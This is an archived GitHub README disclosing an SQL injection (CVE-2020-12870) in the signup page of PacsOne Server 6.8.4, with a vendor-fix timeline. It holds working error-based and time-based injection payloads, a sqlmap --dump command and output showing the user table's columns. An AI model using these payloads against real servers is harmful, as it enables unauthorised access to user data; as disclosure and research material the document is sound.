This repository has been archived by the owner on Dec 18, 2022. It is now read-only.

bzyo Update README.md ... on Mar 25, 2021 History

..	
imgs	2 years ago
README.md	last year

README.md

Vulnerability

PacsOne Server 6.8.4 suffers from a SQL injection vulnerability on username parameter in the signup page.

Exploit

Allows attacker access to usersignup table in the database for pacs server

```
Parameter: username (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: hostname=localhost&database=PACS&username=asdf'||(SELECT 0x7a6d7355 WHERE 7540=7540 AND (SELECT 2789 FROM(SELECT
COUNT(*),CONCAT(0x7178627171,(SELECT (ELT(2789=2789,1))),0x717a627071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY
x)a))||'&password=asdf&firstname=asdf&lastname=asfd&email=asfd@foo.bar&action=Sign Up

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: hostname=localhost&database=PACS&username=asdf'||(SELECT 0x7961476e WHERE 9154=9154 AND (SELECT 7374 FROM
(SELECT(SLEEP(5)))nQhL))||'&password=asdf&firstname=asdf&lastname=asfd&email=asfd@foo.bar&action=Sign Up
```

```
root@kali:~# sqlmap -u 'http://192.168.0.181:80/pacsone/userSignup.php' --data='hostname=localhost&database=PACS&
username=test&password=test123&firstname=first&lastname=last&email=test%40foo.bar&action=Sign+Up' --dump --batch
```

```
Parameter: username (POST)
    Type: error-based
    Title: MySQL ⩾ 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: hostname=localhost&database=PACS&username=test' || (SELECT 0x4e4b7145 WHERE 7417=7417 AND (SELECT 6361
 FROM(SELECT COUNT(*),CONCAT(0x7171707871,(SELECT (ELT(6361=6361,1))),0x717a716271,FLOOR(RAND(0)*2))x FROM INFORM
ATION_SCHEMA.PLUGINS GROUP BY x)a)) || '&password=test123&firstname=first&lastname=last&email=test@foo.bar&action=S
ign Up

    Type: time-based blind
    Title: MySQL ⩾ 5.0.12 AND time-based blind (query SLEEP)
    Payload: hostname=localhost&database=PACS&username=test' || (SELECT 0x57435848 WHERE 6241=6241 AND (SELECT 1216
 FROM (SELECT(SLEEP(5)))jXfS)) || '&password=test123&firstname=first&lastname=last&email=test@foo.bar&action=Sign U
p
---
[09:26:05] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL ⩾ 5.0 (MariaDB fork)
[09:26:05] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s
) entries
[09:26:05] [INFO] fetching current database
[09:26:05] [INFO] resumed: 'pacs'
[09:26:05] [INFO] fetching tables for database: 'pacs'
[09:26:05] [INFO] resumed: 'usersignup'
[09:26:05] [INFO] fetching columns for table 'usersignup' in database 'pacs'
[09:26:05] [INFO] resumed: 'username'
[09:26:05] [INFO] resumed: 'varchar(64)'
[09:26:05] [INFO] resumed: 'password'
[09:26:05] [INFO] resumed: 'varchar(255)'
[09:26:05] [INFO] resumed: 'firstname'
[09:26:05] [INFO] resumed: 'varchar(64)'
[09:26:05] [INFO] resumed: 'lastname'
[09:26:05] [INFO] resumed: 'varchar(64)'
[09:26:05] [INFO] resumed: 'email'
[09:26:05] [INFO] resumed: 'varchar(255)'
[09:26:05] [INFO] resumed: 'submitted'
[09:26:05] [INFO] resumed: 'datetime'
[09:26:05] [INFO] fetching entries for table 'usersignup' in database 'pacs'
```

Timeline

05-07-20: Submitted incident through email, immediate response
05-21-20: Issue resolved
09-10-20: New version released
09-19-20: Submitted public disclosure

Reference

MITRE CVE-2020-12870

Disclaimer

Content is for educational and research purposes only. Author doesn't hold any responsibility over the misuse of the software, exploits or security findings contained herein and does not condone them whatsoever.